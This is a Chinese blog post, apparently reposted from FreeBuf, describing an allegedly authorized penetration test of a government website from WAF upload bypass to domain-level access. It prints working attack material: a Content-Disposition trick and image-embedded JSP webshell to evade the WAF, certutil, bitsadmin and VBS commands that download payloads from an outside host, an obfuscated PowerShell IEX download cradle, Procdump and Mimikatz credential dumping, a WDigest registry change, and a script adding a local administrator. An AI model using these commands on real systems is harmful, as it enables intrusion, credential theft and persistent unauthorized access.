一次授权渗透实战

栏目: IT技术 · 发布时间: 4年前

内容简介:很久没有整理实战文章了,恰好这周项目上有一个目标折腾了两天时间,记录分享下其中的心路历程(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)。某政务网站服务器–windows

前言

很久没有整理实战文章了,恰好这周项目上有一个目标折腾了两天时间,记录分享下其中的心路历程(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)。

目标基本信息

某政务网站

服务器–windows

数据库–未知

中间件–Tomcat

开发语言–java

未使用CDN

存在waf–种类未知

Getshell过程

其它漏洞的挖掘过程不再描述,直奔权限,发现目标存在一处上传功能。

一次授权渗透实战

上传成功后返回取件码。

一次授权渗透实战

使用取件码进行信件查询。

一次授权渗透实战

点击附件为下载链接。

一次授权渗透实战

通过对下载链接进行测试,发现报错时泄漏了网站的绝对路径。

一次授权渗透实战

进过几次尝试,成功访问到上传的图片。

一次授权渗透实战

网站waf对上传文件的后缀名进行了白名单限制。

根据以往的bypass经验,开始手撕waf。

后缀名校验绕过

寻找waf的设计缺陷来绕过waf的上传限制,

常用的几种方法有:

删除实体里面的Conten-Type字段

删除Content-Disposition字段里的空格

修改Content-Disposition字段值的大小写

文件名处回车

等等等等。

总结一下思路就是在不影响正常上传功能的前提下,尝试改变数据包的部分格式内容,绕过waf的校验。

经过多次尝试,当Content-Disposition字段修改为Content+Disposition时可以绕过waf,可以看到上传功能的代码未对后缀名做限制,存在任意文件上传漏洞。

一次授权渗透实战

内容校验绕过

成功对文件后缀名进行了绕过。

直接上传免杀还可以的冰蝎马。

一次授权渗透实战

上传失败,再次被waf拦截,发现还存在文件内容校验,尝试使用平时积累的免杀马。

经过尝试免杀马全部阵亡,无一例外。

当使用 java 的输出函数时也会被waf检测拦截。

一次授权渗透实战

第一次碰到连输出helloword都拦的waf。

经过多次测试,waf对绝大部分的java函数都进行了拦截。

内容加密

这种情况下,首先想到的解决方案是对木马进行加密。

在网上查找相关的资料,发现了LandGrey大佬的一个unicode编码的菜刀马。 传送门

可以上传成功。

一次授权渗透实战

必须要使用caidao-20160622的版本进行连接(默认分隔符: X@Y),然而。

一次授权渗透实战

菜刀流量被waf拦截了。

想到了2种解决方案。

1、使用内容加密的大马,例如下图的 php 大马的这种加解密。

一次授权渗透实战

2、菜刀马流量中转,上传中转菜刀马,配合本地加解密脚本文件,对数据进行中转加密传输。

中转Webshell 绕过安全狗(一)

中转Webshell 绕过安全狗(二)

奈何网上关于jsp加密大马和jsp中转木马研究的文章数量有限,再加上本人不懂java开发,最后以失败告终。

在这个学习尝试的过程看到了不少大佬优秀的文章,学习到了很多相关知识。如:

菜刀HTTP流量中转代理过WAF

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

感兴趣的小伙伴可以研究下。

内容混淆

内容加密bypass失败了,只能换一个思路。

尝试对文件内容进行混淆,绕过waf。

首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过waf。

在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。

使用notepad++打开准备好的图片,把jsp马插入到图片源码中。

一次授权渗透实战

更改为jsp后缀进行上传。

一次授权渗透实战

上传失败,猜测可能是混淆的力度不够,未起到混淆的目的。

开始增加文件内容的长度,复制图片的一段源码,反复的粘贴到木马的前后位置,经过若干次尝试,返回了上传成功,且只能成功一次,下

次上传需要重新混淆,难道waf还自带了机器学习?

一次授权渗透实战

访问webshell地址,文件解析成功,成功拿下了目标的webshell,权限为最高的administrator权限。

一次授权渗透实战

上传的为CMD马,只能执行系统命令,目标通互联网,下一步的思路是:使用命令直接下载cs马或者msf马执行。

使用命令下载免杀exe到本地执行。

cmd下常用的下载命令有三种,推荐使用证书下载命令,免杀性强,其它两种容易被防护拦截。

证书下载

证书下载

certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe 

vbs下载

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs

cscript downfile.vbs http://x.x.x.x/1.exe D:\\1.ex

bitsadmin命令下载

bitsadmin /transfer n http://x.x.x.x/1.exe D:\\1.exe

在可以调用powershell的情况下,推荐使用powershell对木马文件进行下载执行,优点是免杀可操作性强,无落地文件。

这里给出我之前发布的免杀powershell命令

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''<a href="http://x.x.x.x">http://x.x.x.x</a>''))';$a3="$a1,$a2";IEX(-join $a3)"

免杀处理的方法有很多,可以参考我之前发布的文章中。 攻防演练对抗赛之初识文件钓鱼

也可以关注我们Tide安全团队的公众号,查看免杀系列文章。

上传后成功执行,cs成功接收到会话信息。

一次授权渗透实战

尝试激活guest用户,加入管理员组失败。

一次授权渗透实战

存在服务器防护需要绕过。

服务器为server 2008,默认情况下,可以使用Procdump+Mimikatz来读取管理员的明文密码。

Procdump由微软官方提供,绝大多数情况下不会被杀。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

分为2步:

1、导出lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz破解导出的文件lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要上传procdump64.exe生成lsass.dmp文件,下载后本地读取密码。

对于server 2012以上,或者打了补丁的操作系统,无法直接读取明文,必须修改注册表,重启服务器等待管理员登录才能获取到明文密码。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

还可以选择执行powershell命令添加用户。

使用Get-ExecutionPolicy 查看当前执行策略为Restricted(默认策略,不允许任意脚本的执行)

使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)

相关powershell命令可查看CSeroad大佬的文章。 传送门

一次授权渗透实战

powershell的免杀性强,大多数情况下都可以执行成功。

上传添加用户的ps1文件到服务器中,调用powershell执行,此方法可以绕过大部分杀软,达到免杀加用户到管理员组的目的。

powershell 1.ps1
$computer=Get-WMIObject  Win32_ComputerSystem
$computername = $computer.name
$username = 'admin'
$password = '1234qwer..' 
$desc = 'Local admin account'
$computer = [ADSI]"WinNT://$computername,computer"
$user = $computer.Create("user", $username)
$user.SetPassword($password)
$user.Setinfo()
$user.description = $desc
$user.setinfo()
$user.UserFlags = 65536
$user.SetInfo()
$group = [ADSI]("WinNT://$computername/administrators,group")
$group.add("WinNT://$username,user")

添加用户成功后。

使用cs自带的socks4隧道。

一次授权渗透实战

本机配置Proxifer。

一次授权渗透实战

成功把本机带入目标内网。

打开远程桌面功能,输入对方的内网ip和远程桌面端口,输入用户名密码。

登录成功,目标安装了服务器安全狗和企业版金山毒霸,到此渗透结束。

一次授权渗透实战

总结

由于不懂java开发,导致前期的getshell耽误了过长时间,未解决的问题,后面还需要再学习。

渗透过程中走了很多弯路,但也学习到了很多新的知识。

*本文原创作者:诺言,本文属于FreeBuf原创奖励计划,未经许可禁止转载


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Learning JavaScript

Learning JavaScript

Shelley Powers / Oreilly & Associates Inc / 2006-10-17 / $29.99

As web browsers have become more capable and standards compliant, JavaScript has grown in prominence. JavaScript lets designers add sparkle and life to web pages, while more complex JavaScript has led......一起来看看 《Learning JavaScript》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具